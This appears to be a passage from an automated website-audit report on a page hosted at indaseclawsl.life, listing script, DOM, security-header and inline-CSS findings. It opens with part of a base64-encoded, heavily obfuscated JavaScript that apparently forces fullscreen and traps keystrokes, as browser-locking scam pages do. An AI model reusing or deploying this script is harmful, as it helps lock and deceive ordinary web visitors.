GU3NDQoMHg4NGMsMHg2M2YsMHg0OTQsMHg3OTcpXShfMHgzZGU3NDQoMHgxNGMsMHgzOWMsMHgxMzAsMHg0MTYpLF8weDExYzU5NVsnd3pXZGcnXSk/XzB4MjQxMGU4W18weDlkN2E4OSgweDFiNSwweDQ2OSwweDIyNiwweDRiMildKF8weDRiNGNkNCxfMHgyNDEwZThbJ2tSY1lwJ10oXzB4MjQxMGU4W18weDlkN2E4OSgweDgwNSwweDhkNSwweDkzMywweDY2YildKF8weDI0MTBlOFtfMHg5ZDdhODkoMHg2MDIsMHg0NGUsMHg1MWMsMHg1ODEpXShfMHgyNDEwZThbJ0dXYUx4J10sXzB4MmRhZGYxKStfMHgyNDEwZThbXzB4OWQ3YTg5KDB4N2ZjLDB4ODk4LDB4OTUzLDB4YTcwKV0sXzB4MjkxYTlkKSwndnYnKSk6ZG9jdW1lbnRbXzB4OWQ3YTg5KDB4NTFjLDB4NjFmLDB4N2JmLDB4NDk4KStfMHgzZGU3NDQoMHg0ZjMsMHg1NjIsMHg3YmUsMHg1M2UpXSYmXzB4MTFjNTk1W18weDNkZTc0NCgweDE5OSwweDFjOCwweGFiLDB4MmFlKV0oZG9jdW1lbnRbXzB4M2RlNzQ0KDB4NDRkLDB4NDM4LDB4NTJlLDB4NzIxKStfMHg5ZDdhODkoMHg2OTAsMHg3NDksMHg4NzQsMHg0YjQpXSxudWxsKXx8KGRvY3VtZW50W18weDNkZTc0NCgweDdmMSwweDUyZSwweDZlZCwweDM0ZCkrJ2VlbiddfHxkb2N1bWVudFtfMHgzZGU3NDQoMHg3OTUsMHg2NGUsMHg2MWIsMHg4ZTUpK18weDNkZTc0NCgweGI2LDB4MjExLDB4M2Q3LC0weDZiKV0pO31mdW5jdGlvbiBfMHhmYzQ5MzkoKXtmdW5jdGlvbiBfMHgzYzdmZGYoXzB4Mzc4ZWVlLF8weDM0YjY1OSxfMHhiYmEyY2EsXzB4MzhlNjAxKXtyZXR1cm4gXzB4MjE2MjdlKF8weDM3OGVlZSxfMHgzNGI2NTktMHgxNzEsXzB4YmJhMmNhLTB4MTk1LF8weDM0YjY1OS0gLTB4MjgpO312YXIgXzB4NGEyODNlPXsnWnVVZ3AnOmZ1bmN0aW9uKF8weDRiYzFjZCxfMHg0NmE2NDApe2Z1bmN0aW9uIF8weDQyZWYwMihfMHg0OTdkNjMsXzB4NDFhODQ0LF8weDU1NDlhOCxfMHg4YWEzZTEpe3JldHVybiBfMHg0YzBmKF8weDQ5N2Q2My0gLTB4MzRkLF8weDU1NDlhOCk7fXJldHVybiBfMHgxMWM1OTVbXzB4NDJlZjAyKDB4MzdlLDB4NjE0LDB4MWQ0LDB4M2UyKV0oXzB4NGJjMWNkLF8weDQ2YTY0MCk7fSwnT0FmSkwnOidmeGZOSicsJ3dJVWRQJzpfMHgxMWM1OTVbJ1BqQkxtJ10sJ1pLTGxhJzpmdW5jdGlvbihfMHg0NzMzYjYsXzB4MTUwNjg4KXtyZXR1cm4gXzB4NDczM2I2JiZfMHgxNTA2ODg7fSwnWGRZSkonOl8weDExYzU5NVsnV3NlSFgnXSwnZ0RaZUInOl8weDExYzU5NVtfMHgzYzdmZGYoMHgxMzEsMHgzYmYsMHgyZWMsMHgyZGMpXX0sXzB4MTQ0MmVhPV8weDExYzU5NVtfMHg1OTFlYjAoMHg0OTksMHg1OWUsMHg2NjksMHg3OGYpXShfMHhlYjJjYzcpLF8weDU3NWY5OT1kb2N1bWVudFtfMHgzYzdmZGYoMHgzOTEsMHgzNGYsMHgzNTQsMHgxM2YpKydlbWVudCddO2Z1bmN0aW9uIF8weDU5MWViMChfMHgxOGI1M2IsXzB4MWY0OTRmLF8weDVlMmFlZSxfMHgxNGY4MDEpe3JldHVybiBfMHgyMTQyNjAoXzB4MThiNTNiLTB4MTI2LF8weDVlMmFlZSxfMHg1ZTJhZWUtMHgxNDUsXzB4MThiNTNiLTB4MjQwKTt9XzB4MTFjNTk1W18weDU5MWViMCgweDU0MiwweDU5MywweDgxMiwweDJmMCldKHNldFRpbWVvdXQsZnVuY3Rpb24oKXtmdW5jdGlvbiBfMHgyM2EzNGYoXzB4MWYwOWNhLF8weDEzYzg0OCxfMHhiZTUxNWUsXzB4ZDk5OWFiKXtyZXR1cm4gXzB4NTkxZWIwKF8weGJlNTE1ZS0gLTB4M2M5LF8weDEzYzg0OC0weDEzZCxfMHgxZjA5Y2EsXzB4ZDk5OWFiLTB4MTAyKTt9ZnVuY3Rpb24gXzB4ZGMxZGQoXzB4NWI1ZDFiLF8weDEzNzc1ZSxfMHg1MGQzMDksXzB4NDhhOTFmKXtyZXR1cm4gXzB4NTkxZWIwKF8weDViNWQxYi0gLTB4NmYsXzB4MTM3NzVlLTB4YjAsXzB4NDhhOTFmLF8weDQ4YTkxZi0weDEyOCk7fWlmKF8weDRhMjgzZVtfMHgyM2EzNGYoLTB4MTI3LC0weDFkLC0weDFhNywtMHgxN2IpXSgnZnhmTkonLF8weDRhMjgzZVsnT0FmSkwnXSkpcmV0dXJuIF8weDFkZGEyYVtfMHgyM2EzNGYoLTB4MjZhLC0weDFmOSwtMHgxNmEsLTB4MjY2KV0oXzB4OTUzZGFjWydyZXBsYWNlJ10oL1xkXHNcL1xzJC8sJycpKTtlbHNle2lmKCFfMHgxNDQyZWEpe2lmKF8weDU3NWY5OVtfMHgyM2EzNGYoLTB4MzE0LC0weDRiMCwtMHgxZGYsLTB4MzNmKStfMHhkYzFkZCgweDZlYywweDQ0OCwweDcwYSwweDljYSldKV8weDU3NWY5OVtfMHhkYzFkZCgweDE3YiwweDM5NSwweDI3MSwtMHgxMDMpK18weGRjMWRkKDB4NmVjLDB4NjA1LDB4NWM1LDB4NWQ4KV0oKTtlbHNle2lmKF8weDU3NWY5OVsnbW96UmVxdWVzdCcrXzB4ZGMxZGQoMHg0YzMsMHg2NjMsMHg0ZTYsMHg0YzcpXSlfMHg0YTI4M2VbJ3dJVWRQJ10hPT1fMHgyM2EzNGYoMHgxMDYsMHg0NjgsMHgzODUsMHhjNSk/XzB4NTc1Zjk5W18weDIzYTM0ZigtMHg0NWQsLTB4OTcsLTB4MWQ4LC0weGZmKStfMHgyM2EzNGYoMHgyYjYsMHgxYzUsMHgxNjksMHg0MDIpXSgpOl8weDVlNzEyN1tfMHgyM2EzNGYoMHgxMzAsLTB4MTY3LC0weDExYywweGExKV0oXzB4NThkZGRlLF8weDM4ZWQxMSk7ZWxzZSBfMHg1NzVmOTlbXzB4ZGMxZGQoMHg2YWMsMHg0NjUsMHg0OTMsMHg0ZDUpK18weGRjMWRkKDB4NjVlLDB4NjQ0LDB4NWQxLDB4M2JkKSsnZWVuJ10mJl8weDU3NWY5OVtfMHhkYzFkZCgweDZhYywweDY1YiwweDY4ZCwweDc5NikrJ2VzdEZ1bGxTY3InK18weDIzYTM0ZigtMHhkLDB4NGZlLDB4Mjc5LDB4NDliKV0oKTt9fV8weDRhMjgzZVtfMHhkYzFkZCgweDRhNywweDcxNSwweDU4NiwweDFkYildKF8weDE0NDJlYSwhc3RhcnQpJiYod2lkdGhTdGFydD0kKHdpbmRvdylbXzB4NGEyODNlW18weGRjMWRkKDB4NjU2LDB4NDQ2LDB4NmQ1LDB4NzUzKV1dKCksaGVpZ2h0U3RhcnQ9JCh3aW5kb3cpW18weDRhMjgzZVtfMHgyM2EzNGYoMHg0NDgsMHgyMDgsMHgxODEsMHgzYTcpXV0oKSxzdGFydD0hIVtdKTt9fSwtMHgxNCoweDE4ZCstMHgxMjM5Ky0weDllMyotMHg1KTt9ZnVuY3Rpb24gXzB4MjcyODNkKF8weDUwNDVhZSl7ZnVuY3Rpb24gXzB4YzM1YTU5KF8weDExMDgzMCxfMHg1ODg2ZDQsXzB4MmU3Mjc2LF8weDJkYTk4Yyl7cmV0dXJuIF8weDIxNjI3ZShfMHg1ODg2ZDQsXzB4NTg4NmQ0LTB4M2IsXzB4MmU3Mjc2LTB4OGMsXzB4MmRhOThjLSAtMHgxYzgpO31mdW5jdGlvbiBfMHgxZmQ3MGYoXzB4NDIyZDU4LF8weDEwYmFiMSxfMHg1YTI4NjEsXzB4MTc3MTNhKXtyZXR1cm4gXzB4MjE0MjYwKF8weDQyMmQ1OC0weGZhLF8weDE3NzEzYSxfMHg1YTI4NjEtMHgxYjMsXzB4NDIyZDU4LTB4ZTApO31pZihfMHgyNDEwZThbJ1lRTFJ1J10oJ2J6VHhoJyxfMHgyNDEwZThbXzB4MWZkNzBmKDB4NWIyLDB4NjQ5LDB4MzcyLDB4NGU0KV0pKXt2YXIgXzB4NDc5MGM2PV8weDUwNDVhZVtfMHgyNDEwZThbXzB4YzM1YTU5KDB4MzM2LDB4MTNjLDB4MmNkLDB4YzgpXShfMHgyNDEwZThbJ2xEQmxGJ10oJ2tlJyxfMHgyNDEwZThbXzB4MWZkNzBmKDB4MTZjLDB4MWQzLDB4MzAzLC0weDUyKV0pLCdkZScpXT9fMHg1MDQ1YWVbXzB4MjQxMGU4W18weGMzNWE1OSgweDJjNCwweDI2MCwweDI2ZCwweDVjKV0oJ2tlJytfMHgyNDEwZThbXzB4MWZkNzBmKDB4MTVlLC0weDE1ZSwweDM0MywweDEzMCldLCdlJyldOl8weDUwNDVhZVtfMHgyNDEwZThbXzB4MWZkNzBmKDB4MTk0LDB4M2YsLTB4MTMzLC0weDI1KV0oJ3cnKydoaScsJ2NoJyldP18weDUwNDVhZVtfMHgyNDEwZThbXzB4MWZkNzBmKDB4M2E1LDB4MmM4LDB4NjE0LDB4NDJjKV0oXzB4MjQxMGU4WydVb3laRCddKF8weDI0MTBlOFtfMHhjMzVhNTkoMHg4ZCwweDQzMywweDNkMiwweDFiMCldKCd3JywnaCcpLCdpYycpLCdoJyldOm51bGw7aWYoJChfMHg1MDQ1YWUpW18weGMzNWE1OSgweDI5MywweDQ0OCwweDRmMywweDUxYildKDB4MTE5NysweGIyOSstMHgxY2MwKVtfMHgxZmQ3MGYoMHhmNCwweDExMiwtMHhjLDB4ZWUpXSYmXzB4MjQxMGU4W18weDFmZDcwZigweDEyZiwweGY2LDB4MjkxLDB4YmIpXSgtKC0weDE4ZGQrMHgyNSotMHhjZSsweDM2YTQpLCRbXzB4MjQxMGU4W18weGMzNWE1OSgweDUxOCwweDViMSwweDI4NywweDMzZCldKCdpbicsXzB4MjQxMGU4W18weGMzNWE1OSgweDgwYSwweDZhOSwweDgxZSwweDU5OCldKSsnYXknXShfMHg0NzkwYzYsWy0weDEqMHgxNGQ1Ky0weDVhNysweDFhZjEsMHgyNWNhKi0weDErMHgxYTU2KzB4YmM5LDB4YjAwKy0weDFhMTUqMHgxKzB4MjQqMHg2ZSwweDI2OTQrLTB4MWEqLTB4MTNhKy0weDQ2MzUsLTB4MTA0YistMHhmMDgrMHgxZmI0LDB4MSotMHgzYWMrMHhkOWUrLTB4OWIxKjB4MV0pKSlyZXR1cm4hKC0weDFhNDErLTB4ZTFkKjB4MisweDM2N2MqMHgxKTt9ZWxzZSBfMHg1ZDJmMGE9XzB4NDBmNzZlKF8weDM2NGQ3YSlbXzB4MjQxMGU4W18weDFmZDcwZigweDM4NSwweGI0LDB4MzExLDB4MjVkKV1dKCksXzB4NWQ2YzgzPV8weDRlYjliOShfMHg1OWJlYTApW18weDFmZDcwZigweDM0MSwweDU4NiwweDIwMSwweDU4YykrJ3QnXSgpLF8weDU5N2Y4YT0hIVtdO319LC0weDljMisweDJmYyotMHg3Ky0weDMzKi0weDljKTt9LDB4MWEwZistMHg3OWYrLTB4ZioweDEzYSk7ZnVuY3Rpb24gXzB4NGQzNDQ5KCl7ZnVuY3Rpb24gXzB4MjM3MDEyKF8weDUwYjI4NSxfMHg2YTE4ODcsXzB4NmRlODkxLF8weDE2M2Q1MSl7cmV0dXJuIF8weDQ0ZmY0OShfMHg1MGIyODUtMHg5MSxfMHg2YTE4ODctMHgxMTMsXzB4NTBiMjg1LF8weDE2M2Q1MS0gLTB4MzIyKTt9ZnVuY3Rpb24gXzB4MzkzNGQ1KF8weDViMmJjOSxfMHgyZjI0NTksXzB4ODU3NzdiLF8weDQwY2M5MCl7cmV0dXJuIF8weDQ0ZmY0OShfMHg1YjJiYzktMHgxYzksXzB4MmYyNDU5LTB4MWEwLF8weDJmMjQ1OSxfMHg0MGNjOTAtMHg1Yyk7fXJldHVybiB0eXBlb2YgY0NvZGUhPV8weDJmNTM0OVtfMHgyMzcwMTIoMHg1YiwtMHg1LC0weDUwZSwtMHgyNWYpXT9jQ29kZTpfMHgyZjUzNDlbXzB4MjM3MDEyKC0weDI5NCwtMHgyZjEsLTB4MTgzLC0weDE0ZildO319KTs=
  5. https://indaseclawsl.life/c-assets/js/land.js
The defer attribute allows the browser to download the scripts in parallel and execute them after the webpage has been parsed, improving the webpage's load performance.
Learn more
DOM size
The DOM size is optimal.
The HTML file has 72 DOM nodes.
The DOM size indicates the number of nodes the HTML webpage has.
Learn more
DOCTYPE
The webpage has the DOCTYPE declaration tag set.
html
The DOCTYPE declaration tag defines which version of HTML the webpage is using, making compliant browsers render the webpage properly.
Learn more
Security
HTTPS encryption
The webpage uses HTTPS encryption.
The HTTPS encryption helps protecting the user's security and privacy.
Learn more
Mixed content
There are no mixed content resources on the webpage.
The mixed content is the content that is loaded over the HTTP connection while the webpage itself was loaded over HTTPS connection.
Learn more
Server signature
The webpage has a public server signature.
nginx/1.20.1
The server signature is the public identity of a web server which contains information that could be used to exploit known vulnerabilities.
Learn more
Unsafe cross-origin links
The webpage does not have unsafe cross-origin links.
HTST
The webpage does not have the HTTP Strict-Transport-Security header set.
The HTTP Strict-Transport-Security header is used to force the browser to use the HTTPS protocol when loading the webpage.
Learn more
Plaintext email
The webpage does not contain any plaintext emails.
Email addresses posted in public are likely to be fetched by crawlers and then collected in lists used for spam.
Miscellaneous
Structured data
There are no structured data tags on the webpage.
The structured data tags help the search engines better understand the content of the webpage, and allows them to create rich snippets in search results.
Meta viewport
The webpage has a meta viewport tag set.
width=device-width, initial-scale=1.0
The meta viewport tag instruct the browsers how to render the viewport of the webpage.
Learn more
Character set
The webpage has a charset value set.
utf-8
The meta charset tag specifies the character encoding, helping the browsers to better render the characters and symbols on the webpage.
Learn more
Sitemap
No sitemaps found.
Sitemaps inform search engines about pages available for crawling on the website.
Learn more
Social
The webpage does not contain any social links.
Social media presence is becoming increasingly important as a ranking factor for search engines to validate a website's trustworthiness and authority.
Content length
There are less than 500 words on the webpage.
The webpage has 294 words.
The content length represents the number of words found on the webpage. The webpage should contain a decent amount of words.
Learn more
Text to HTML ratio
The text to HTML ratio is under 10%.
The text to HTML ratio is 1%.
The text to HTML ratio represents the percentage of actual text compared to the percentage of HTML code on the webpage.
Inline CSS
The webpage contains inline CSS code.
  1. position:fixed;text-align: center; overflow: auto; height: 100vh;
  2. margin-bottom: 5px;
  3. width:100%;
  4. margin-top: 10px
  5. display: none
  6. width:20%;height: 20px
The style attribute contains CSS style rules that are applied to the element. Inline CSS code unnecessarily increases the webpage's size, and can be moved in an external CSS file.
Learn more
Deprecated HTML
There are no deprecated HTML tags on the webpage.
The deprecated tags represents the tags that are not supported HTML5 standard anymore, and could cause the webpage to be rendered incorrectly.
Learn more